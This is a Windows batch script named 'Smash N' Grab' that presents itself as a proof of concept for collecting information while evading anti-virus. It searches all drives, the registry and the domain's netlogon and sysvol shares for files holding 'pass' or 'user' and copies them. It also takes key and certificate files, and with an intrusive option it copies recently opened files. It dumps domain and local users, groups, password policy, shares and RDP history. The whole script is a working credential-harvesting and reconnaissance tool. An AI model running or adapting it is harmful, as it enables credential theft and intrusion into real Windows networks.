@ECHO OFF
:: By R Lennox - V130508
SETLOCAL EnableDelayedExpansion

:: Get Current Directory of Batch
SET RAN_DIR=%~dp0

:: Measured in Bytes
SET MAX_SIZE=1000

:: Used for Folder Search and Registry Search
SET SEARCH_STR=pass user \\
FOR /F "usebackq tokens=1 delims=\" %%a IN (`ECHO %RAN_DIR%`) DO (SET TOOL_DIR=%%a\tools)
SET FILE_TYPE=bat cmd vbs xml log ps1 key ini pac wpad cer pfx config
SET RUN_AUTO=""
SET RESULT=""
SET FOLDER_PATH=
SET COPY_OPTION=""
SET KEYWORD_OPTION=""
SET INTRUSIVE_OPTION=""

:: Used for Spinner
SET DOT=.
SET WARNING=To exit this script press CTRL+C.

:: Used to loop parameter
SET COUNT=1

:SWITCHES
:: Help Info
IF /I "%~1"=="/?" GOTO HELP

CALL ECHO %%~%COUNT% > %RAN_DIR%\switches.txt
FOR /F "tokens=*" %%a IN (%RAN_DIR%\switches.txt) DO (
	
	REM Set switch variables
	:: Stop Looping if end of file
	IF "!RESULT!"=="%%a" GOTO RUN
	SET RESULT=%%a
	
	REM Store Search String	
	IF !SWITCH!==b (
		CALL :TRIM %%a MAX_SIZE
		SET SWITCH=""
	)
	
	REM Store Search String	
	IF !SWITCH!==d (
		CALL :TRIM %%a TOOL_DIR
		SET SWITCH=""
	)
	
	REM Store File Type String
	IF !SWITCH!==f (
		CALL :TRIM %%a FILE_TYPE
		SET SWITCH=""
	)
	
	REM Store Search String	
	IF !SWITCH!==s (
		SET SEARCH_STR=%%a
		SET KEYWORD_OPTION=y
		SET SWITCH=""
	)
	
	REM Find switch	
	IF "!RESULT!"=="/a " SET RUN_AUTO=y
	IF "!RESULT!"=="/b " SET SWITCH=b
	IF "!RESULT!"=="/c " SET COPY_OPTION=y
	IF "!RESULT!"=="/d " SET SWITCH=d
	IF "!RESULT!"=="/f " SET SWITCH=f
	IF "!RESULT!"=="/i " SET INTRUSIVE_OPTION=y
	IF "!RESULT!"=="/s " SET SWITCH=s
	
)
SET /A COUNT=%COUNT%+1

:: If more then nine parameters, move parameter position
IF %COUNT% GTR 8 (
	SET COUNT=0
	FOR /l %%b IN (1,1,9) DO (
	SHIFT
	)
)

GOTO SWITCHES

DEL %RAN_DIR%\switches.txt 2>NUL

:RUN
CALL :TITLE
CALL :SETUP
CALL :OPTIONS
CALL :DRIVE_LIST
CALL :COPY_FILES
CALL :USER_GROUP
CALL :OTHER_INFO
CALL :INTRUSIVE_SEARCH
GOTO :EOF

:SETUP
:: CLEANUP
DEL !FOLDER_PATH!\files\copied_files_!FOLDER_NAME!.txt 2>NUL
DEL %TOOL_DIR%\tmp\tmp_drive_info.txt 2>NUL

:: Create Folders
FOR /F "delims=" %%a IN ('HOSTNAME') DO SET HOSTNAME=%%a
MKDIR !FOLDER_PATH! >NUL 2>&1
MKDIR %TOOL_DIR%\tmp\  >NUL 2>&1
EXIT /B

:TITLE
CLS
ECHO =====================================================================
ECHO Smash N' Grab.
ECHO =====================================================================
ECHO This script is a proof of concept showing that Windows Batch can be
ECHO used to capture useful information using built-in Windows tools
ECHO without triggering Anti-Virus.
ECHO.
ECHO For more information visit: http://code.google.com/p/smash-n-grab/
ECHO.
ECHO =====================================================================
IF %RUN_AUTO%==y (
	CLS
	SET MESSAGE=Running Automatically
	CALL :SPINNER
	EXIT /B
)
PAUSE
EXIT /B

:OPTIONS
IF %RUN_AUTO%==y (
	EXIT /B
)
CLS
ECHO =====================================================================
ECHO Options
ECHO =====================================================================
ECHO Do want a copy of the files stored?
ECHO Press 1 - Do store copy of files which are found? LIMITED TO %MAX_SIZE% BYTES
ECHO Press 2 - Do NOT store files, only note where files are located
ECHO =====================================================================
ECHO.
SET /p USER_PROMPT=Choose a number(1,2):
SET USER_PROMPT=%USER_PROMPT:~0,1%
IF "%USER_PROMPT%"=="1" SET COPY_OPTION=y & GOTO COPY_OPTIONS
IF "%USER_PROMPT%"=="2" SET COPY_OPTION="" & EXIT /B
ECHO %USER_PROMPT%

ECHO Invalid choice
ECHO.
PAUSE
CLS
GOTO OPTIONS

:COPY_OPTIONS
CLS
ECHO =====================================================================
ECHO Copy Options
ECHO =====================================================================
ECHO Do want a store only files with the following keywords?
ECHO %SEARCH_STR%
ECHO Press 1 - Yes, only store files with keyword.
ECHO Press 2 - No, store any file.
ECHO =====================================================================
ECHO.
SET /p USER_PROMPT=Choose a number(1,2):
SET USER_PROMPT=%USER_PROMPT:~0,1%
IF "%USER_PROMPT%"=="1" SET KEYWORD_OPTION=y & EXIT /B
IF "%USER_PROMPT%"=="2" SET KEYWORD_OPTION="" & EXIT /B
ECHO %USER_PROMPT%

ECHO Invalid choice
ECHO.
PAUSE
CLS
GOTO COPY_OPTIONS

:DRIVE_LIST
FOR /F "usebackq tokens=1*" %%a IN (`FSUTIL FSINFO DRIVES ^| FIND ":"`) DO (
	IF /i "%%a" NEQ "Drives:" (
        SET "DRIVE_LETTER=%%a"
    ) ELSE (
        SET "DRIVE_LETTER=%%b"
    )
    ECHO !DRIVE_LETTER! >> %TOOL_DIR%\tmp\tmp_drive_info.txt
)
EXIT /B

:COPY_FILES
:: Create File Type List
SET NEW_FILE_TYPE=
FOR %%i IN (%FILE_TYPE%) DO (
	SET NEW_FILE_TYPE=!NEW_FILE_TYPE!*.%%i 
)

:: Cycle through drive letters
FOR /F %%i IN (%TOOL_DIR%\tmp\tmp_drive_info.txt) DO (
	::Search for files on whole disk
	SET MESSAGE=Searching For Files
	FOR /F "usebackq tokens=*" %%a IN (`CD /D %%i ^& dir !NEW_FILE_TYPE! /s /b`) DO (
		SET FOLDER_PATH=!TOOL_DIR!\info\!HOSTNAME!
		SET FOLDER_NAME=drive_%%i
		SET FOLDER_NAME=!FOLDER_NAME::\=!
		SET ORIG_FILE_LOCATION=%%a
		CALL :CHECK_IF_FILE_EXCLUDED "%%a"
		)
	)
)
EXIT /B

:CHECK_IF_FILE_EXCLUDED
SET CURRENT_FILE_LOCATION=%1
CALL :SPINNER
IF "!CURRENT_FILE_LOCATION!"=="" GOTO :EOF
		:: Folders to Skip (Application Data need to stop loop)
		ECHO."!CURRENT_FILE_LOCATION!"|FINDSTR /I "\Application Data\ \bat \WINDOWS\assembly\ \WINDOWS\Microsoft.NET\ !TOOL_DIR!" >NUL
		IF %ERRORLEVEL%==0 SET MESSAGE=Skipping Files & EXIT /B
		IF %ERRORLEVEL%==1 GOTO :COPY
EXIT /B

:COPY
:: Get Filename
FOR %%A IN (!CURRENT_FILE_LOCATION!) DO (
	SET FILE_NAME=%%~nxA
	SET DIR_NAME=%%~dpA
)
SET /A count=0
SET ORIG_FILE_NAME=!FILE_NAME!

:RENAME
IF EXIST !FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME! (
	SET /A count+=1
	SET FILE_NAME=!COUNT!_!ORIG_FILE_NAME!
	GOTO :RENAME
)

MKDIR !FOLDER_PATH!\files\!FOLDER_NAME!\ 2>NUL

:: Search Only
IF %COPY_OPTION%=="" (
	ECHO !ORIG_FILE_LOCATION! >> !FOLDER_PATH!\files\copied_files_!FOLDER_NAME!.txt 2>NUL
	EXIT /B
)
IF %COPY_OPTION%==y (
	SET MESSAGE=Searching And Copying Files
	
	:: Only copy files below certain file size
	FOR %%A IN (!CURRENT_FILE_LOCATION!) DO SET FILESIZE=%%~zA
	IF !FILESIZE! LSS !MAX_SIZE! (
		
		::Search for keywords
		IF %KEYWORD_OPTION%==y (
			FINDSTR /I ".!SEARCH_STR!" !CURRENT_FILE_LOCATION! >NUL
			IF !ERRORLEVEL!==0 (
				:: Store results from Keyword Search
				FOR /F "usebackq tokens=*" %%A IN (`FINDSTR /I ".!SEARCH_STR!" !CURRENT_FILE_LOCATION!`) DO (
					IF !ERRORLEVEL!==1 PAUSE
					IF NOT "!TEMP_STR!"=="!ORIG_FILE_LOCATION!" (
						ECHO. >> !FOLDER_PATH!\files\keyword_results_!FOLDER_NAME!.txt
						ECHO !ORIG_FILE_LOCATION! >> !FOLDER_PATH!\files\keyword_results_!FOLDER_NAME!.txt
						ECHO ************ >> !FOLDER_PATH!\files\keyword_results_!FOLDER_NAME!.txt
						SET TEMP_STR=!ORIG_FILE_LOCATION!
					)
					ECHO %%A >> !FOLDER_PATH!\files\keyword_results_!FOLDER_NAME!.txt
				)
				COPY !CURRENT_FILE_LOCATION! "!FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME!" >NUL
				IF !ERRORLEVEL!==1 PAUSE
				ECHO !ORIG_FILE_LOCATION!:!FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME! >> !FOLDER_PATH!\files\copied_files_!FOLDER_NAME!.txt 2>NUL
			)
		) ELSE (
			COPY !CURRENT_FILE_LOCATION! "!FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME!" >NUL
			IF !ERRORLEVEL!==1 PAUSE
			ECHO !ORIG_FILE_LOCATION!:!FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME! >> !FOLDER_PATH!\files\copied_files_!FOLDER_NAME!.txt 2>NUL
		)
	) ELSE (
		ECHO !ORIG_FILE_LOCATION!****Not Copied over limit !MAX_SIZE! Bytes**** >> !FOLDER_PATH!\files\copied_files_!FOLDER_NAME!.txt 2>NUL
	)
EXIT /B
)

:USER_GROUP
SET MESSAGE=Gathering Local Information
CALL :SPINNER

:: Check if joined to domain
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V CachePrimaryDomain >NUL 2>&1

:: ERRORLEVEL==1 means the value does not exist
IF %ERRORLEVEL%==1 (
:: Non Domain
SET DOMAIN=NO
) ELSE (
	:: Domain
	SET DOMAIN=YES
	:: SAVE DOMAIN NAME
	FOR /F "usebackq tokens=*" %%f IN (`ECHO %USERDOMAIN%`) DO (
		::Backup Local Folder Path
		SET LOCAL_FOLDER_PATH=!FOLDER_PATH!
		SET DOMAIN_NAME=%%f
		SET DOMAIN_FOLDERS=netlogon sysvol
		
		FOR %%a IN (!DOMAIN_FOLDERS!) DO (
			SET FOLDER_NAME=%%a
			CALL :MAP_NETWORK_DRIVE
		)
	)
	SET DOMAIN_FOLDER_PATH=!FOLDER_PATH!
	SET FOLDER_PATH=!LOCAL_FOLDER_PATH!
)

:: This command will return the local accounts
NET USERS > %TOOL_DIR%\info\%HOSTNAME%\wk_user.txt

:: This command will show user account password and logon requirements 
NET ACCOUNTS > %TOOL_DIR%\info\%HOSTNAME%\wk_account.txt

:: This command will return the workstation name, user name, version of Windows, network adapter, network adapter information/MAC address, Logon domain, COM Open Timeout, COM Send Count, COM Send Timeout.
NET CONFIG WORKSTATION > %TOOL_DIR%\info\%HOSTNAME%\wk_config.txt

:: This command will return the local groups on the local machine. 
NET LOCALGROUP > %TOOL_DIR%\info\%HOSTNAME%\wk_group.txt

:: This command will return the local shares on the local machine. 
NET SHARE > %TOOL_DIR%\info\%HOSTNAME%\wk_shares.txt

IF %DOMAIN%==YES (
	:: This command will return the domain user run by information. 
	NET USER /DOMAIN %USERNAME% > %TOOL_DIR%\info\%HOSTNAME%\run_by_info.txt
) ELSE (
	:: This command will return the local user run by information. 
	NET USER %USERNAME% > %TOOL_DIR%\info\%HOSTNAME%\run_by_info.txt
)

IF %DOMAIN%==YES (
	:: This command will return the user accounts from the Primary Domain Controller (PDC) of the current domain
	NET USERS /DOMAIN > !DOMAIN_FOLDER_PATH!\domain_user.txt
	
	:: This command will show user account password and logon requirements
	NET ACCOUNTS /DOMAIN > !DOMAIN_FOLDER_PATH!\domain_account.txt
	
	:: This command will return the server name, version of Windows, active network adapter information/MAC address, Server hidden status, Maximum Logged On Users, Maximum open files per session, Idle session time.
	NET CONFIG SERVER > !DOMAIN_FOLDER_PATH!\domain_config.txt
	
	:: This command will return the global groups on the PDC of the current domain. 
	NET GROUP /DOMAIN > !DOMAIN_FOLDER_PATH!\domain_group.txt
	
	:: This command will return the resources in the specified domain.
	NET VIEW /DOMAIN:%DOMAIN_NAME% > !DOMAIN_FOLDER_PATH!\domain_resources.txt
)
EXIT /B

:OTHER_INFO
:: Other useful infomation
SET MESSAGE=Other useful infomation
CALL :SPINNER

:: Make folder to store Registry data
MKDIR !FOLDER_PATH!\network\ 2>NUL

:: Netstat Info
ECHO Following Command Run: NETSTAT /nab > !FOLDER_PATH!\network\export_netstat.txt
NETSTAT /nab >> !FOLDER_PATH!\network\export_netstat.txt

SET MESSAGE=Gathering Registry Information

:: Make folder to store Registry data
MKDIR !FOLDER_PATH!\registry\ 2>NUL

:: Grab run history
REG QUERY HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU > !FOLDER_PATH!\registry\export_run.txt 2>NUL

:: Grab recently opened files OFFICE
:: REG QUERY HKCU\Software\Microsoft\Office\11.0\Common\General\RecentFiles > %TOOL_DIR%\info\%HOSTNAME%\export_recent_files.txt >NUL

:: NEED TO Enumerate

:: Grab recently opened files history
REG QUERY HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU /S > !FOLDER_PATH!\registry\export_opened_files.txt 2>NUL

:: Grab recent history from MSTSC (MS RDP Client)
REG QUERY "HKCU\Software\Microsoft\Terminal Server Client" /S > !FOLDER_PATH!\registry\export_mstsc_history.txt 2>NUL

SET MESSAGE=Group Policy Information
CALL :SPINNER

:: Group Policy User information
GPRESULT /SCOPE USER /V > !FOLDER_PATH!\export_gpresult_user.txt 2>NUL

:: Group Policy Computer information
GPRESULT /SCOPE COMPUTER /V > !FOLDER_PATH!\export_gpresult_computer.txt 2>NUL

:: Scheduled Tasks information (NEEDS WORK - What does it look like, what can we do... could we add tasks... why would we)
SCHTASKS /Query /FO LIST /V > !FOLDER_PATH!\export_scheduled_tasks.txt 2>NUL

:: Search Registry
SET MESSAGE=Searching Registry
SET REG_LOC=HKLM HKCU
CALL :SPINNER

FOR %%b IN (%REG_LOC%) DO (
SET KEY_LOCATION=\
DEL !FOLDER_PATH!\export_reg_%%b_search.txt 2>NUL
	FOR %%i IN (%SEARCH_STR%) DO (
		ECHO. >> !FOLDER_PATH!\registry\export_reg_%%b_search.txt 2>NUL
		ECHO Results for %%i >> !FOLDER_PATH!\registry\export_reg_%%b_search.txt 2>NUL
		ECHO.  >> !FOLDER_PATH!\export_reg_%%b_search.txt 2>NUL
		FOR /f "delims=" %%a IN ('REG QUERY "%%b" /s ^| FIND /I /N "%%i"') DO (
			SET CURRENT_FILE_LOCATION=%%a
			CALL :SPINNER
			
			:: Folders to Skip
			ECHO !CURRENT_FILE_LOCATION!|FINDSTR /C:"HKEY" >nul 2>&1
			IF NOT ERRORLEVEL 1 (
			   :: Stores Key Location for Values
			   SET KEY_LOCATION=!CURRENT_FILE_LOCATION!
			) ELSE (
				ECHO !KEY_LOCATION! >> !FOLDER_PATH!\registry\export_reg_%%b_search.txt 2>NUL
				ECHO !CURRENT_FILE_LOCATION! >> !FOLDER_PATH!\registry\export_reg_%%b_search.txt 2>NUL
			)
		)
	)
)
EXIT /B

:INTRUSIVE_SEARCH
IF %INTRUSIVE_OPTION%=="" (
	EXIT /B
)
::Copy all the recently opened files
MKDIR !FOLDER_PATH!\files\opened_files\ 2>NUL
FOR /F "usebackq tokens=* delims=REG_SZ" %%a IN (`FINDSTR /I "REG_SZ" "%TOOL_DIR%\info\%HOSTNAME%\registry\export_opened_files.txt"`) DO (
	SET CURRENT_FILE_LOCATION=%%a
	:: Start From the 13 position in the string
	SET CURRENT_FILE_LOCATION=!CURRENT_FILE_LOCATION:~13!
	:: Discard rouge data
	ECHO !CURRENT_FILE_LOCATION! | FINDSTR /I "EG_SZ" > NUL
	IF !ERRORLEVEL!==1 (
		FOR %%B IN ("!CURRENT_FILE_LOCATION!") DO (
			SET FILE_NAME=%%~nxB
			SET MESSAGE=Copying recently opened files
			CALL :SPINNER
			COPY "!CURRENT_FILE_LOCATION!" !FOLDER_PATH!\files\opened_files\!FILE_NAME! >NUL
			ECHO !CURRENT_FILE_LOCATION!:!FOLDER_PATH!\files\!FOLDER_NAME!\!FILE_NAME! >> !FOLDER_PATH!\files\copied_opened_files.txt 2>NUL
		)
	)
)
EXIT /B

:MAP_NETWORK_DRIVE
FOR %%a IN (a b c d e f g h i j k l m n o p q r s t u v w x y z) DO (
NET USE %%a: \\!DOMAIN_NAME!\!FOLDER_NAME!
	IF !ERRORLEVEL!==0 (
		CALL :TRIM %%a CURRENT_DRIVE
		CALL :NETWORK_SEARCH_FILES
		EXIT /B
	)
)

:NETWORK_SEARCH_FILES
SET MESSAGE=Searching For Files
FOR /F "usebackq tokens=*" %%a IN (`CD /D !CURRENT_DRIVE!: ^& DIR !NEW_FILE_TYPE! /s /b`) DO (
	SET FOLDER_PATH=!TOOL_DIR!\info\!DOMAIN_NAME!
	SET ORIG_FILE_LOCATION=\\!DOMAIN_NAME!\!FOLDER_NAME!
	SET ORIG_FILE_LOCATION=!ORIG_FILE_LOCATION!!%%a!
	CALL :CHECK_IF_FILE_EXCLUDED "%%a"
)

::Disconnect Drive
NET USE !CURRENT_DRIVE!: /DELETE /Y >NUL

EXIT /B

:SPINNER
SET THESPINNER=%THESPINNER%.
IF %THESPINNER%'==..............................' SET THESPINNER=.
CLS
ECHO =====================================================================
ECHO %MESSAGE%
ECHO =====================================================================
ECHO. 
ECHO Please wait searching the follow:
ECHO !CURRENT_FILE_LOCATION!
ECHO.
ECHO %WARNING%
ECHO.
ECHO %THESPINNER%
EXIT /B

:TRIM
SET %2=%1
EXIT /B

:HELP
ECHO.
ECHO Description:
ECHO This script is a proof of concept showing that Windows Batch can be
ECHO used to capture useful information using built-in Windows tools
ECHO without triggering Anti-Virus.
ECHO.
ECHO Search for certain file types on the local computer then save them
ECHO.
ECHO useful_info.bat [/a] [/b] [/c] [/d] [/f] [/i] [/s]
ECHO.
ECHO.  /a			Run script with no questions.
ECHO.
ECHO.  /b			Set file size to search for in bytes.
ECHO.  "1000"		Specifies the text string for the file size.
ECHO.
ECHO.  /c			Copy files which are found.
ECHO.
ECHO.  /d			Directory to store files. By default the root drive
ECHO.			where the script is ran, a folder called tools is created.
ECHO.  "C:\tools"		Specifies the text string for the directory store.
PAUSE
ECHO. 
ECHO.  /f			Set the files types to be search.
ECHO.  "bat txt"		Specifies the text string for the file type.
ECHO.
ECHO.  /i			Intrusive option will attempt to copy files which have
ECHO.			been recently opened.
ECHO.
ECHO.  /s			Set the search string to be search.
ECHO.  "pass user \\"	Specifies the text string for the search string.

GOTO EOF

:EOF
EXIT /B
